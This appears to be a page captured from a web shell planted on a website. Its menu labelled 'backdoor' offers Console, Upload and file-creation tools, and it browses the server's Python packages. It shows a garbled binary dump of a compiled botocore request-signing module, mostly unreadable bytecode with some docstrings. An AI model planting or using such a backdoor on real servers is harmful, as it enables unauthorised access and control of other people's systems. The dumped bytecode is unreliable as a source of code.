Website : rimsha.abasa.com
backdoor
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
Filename :
signers.cpython-310.pyc
back
Copy
o .&�a�n � @ s d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZmZ d dl m Z mZ d dlm Z d dlmZ d dlmZ d dlmZ d dlmZ G d d � d e�ZG dd� de�Zd d� Zddd�ZG dd� de�Zdd� Z ddd�Zdd� Z d dd�Zdd� ZdS )!� N)�six�OrderedDict)�create_request_object�prepare_request_dict)�UnknownSignatureVersionError)�UnknownClientMethodError)� UnsupportedSignatureVersionError)�datetime2timestamp)�fix_s3_hostc @ sz e Zd ZdZdd� Zedd� �Zedd� �Zedd � �Zddd�Z ddd�Z dd� Z ddd�ZeZ ddd�Zd S )� RequestSignera0 An object to sign requests before they go out over the wire using one of the authentication mechanisms defined in ``auth.py``. This class fires two events scoped to a service and operation name: * choose-signer: Allows overriding the auth signer name. * before-sign: Allows mutating the request before signing. Together these events allow for customization of the request signing pipeline, including overrides, request path manipulation, and disabling signing per operation. :type service_id: botocore.model.ServiceId :param service_id: The service id for the service, e.g. ``S3`` :type region_name: string :param region_name: Name of the service region, e.g. ``us-east-1`` :type signing_name: string :param signing_name: Service signing name. This is usually the same as the service name, but can differ. E.g. ``emr`` vs. ``elasticmapreduce``. :type signature_version: string :param signature_version: Signature name like ``v4``. :type credentials: :py:class:`~botocore.credentials.Credentials` :param credentials: User credentials with which to sign requests. :type event_emitter: :py:class:`~botocore.hooks.BaseEventHooks` :param event_emitter: Extension mechanism to fire events. c C s. || _ || _|| _|| _|| _t�|�| _d S �N)�_region_name� _signing_name�_signature_version�_credentials�_service_id�weakref�proxy�_event_emitter)�self� service_id�region_name�signing_name�signature_version�credentials� event_emitter� r �2/usr/lib/python3/dist-packages/botocore/signers.py�__init__A s zRequestSigner.__init__c C � | j S r )r �r r r r r L � zRequestSigner.region_namec C r r )r r r r r r P r! zRequestSigner.signature_versionc C r r )r r r r r r T r! zRequestSigner.signing_nameNc K s | � ||�S r )�sign)r �operation_name�request�kwargsr r r �handlerX s zRequestSigner.handler�standardc C s |}|du r | j }|du r| j}| �|||j�}| jjd�| j�� |�||| j || |d� |t j kr�|||d�} |dur@|| d<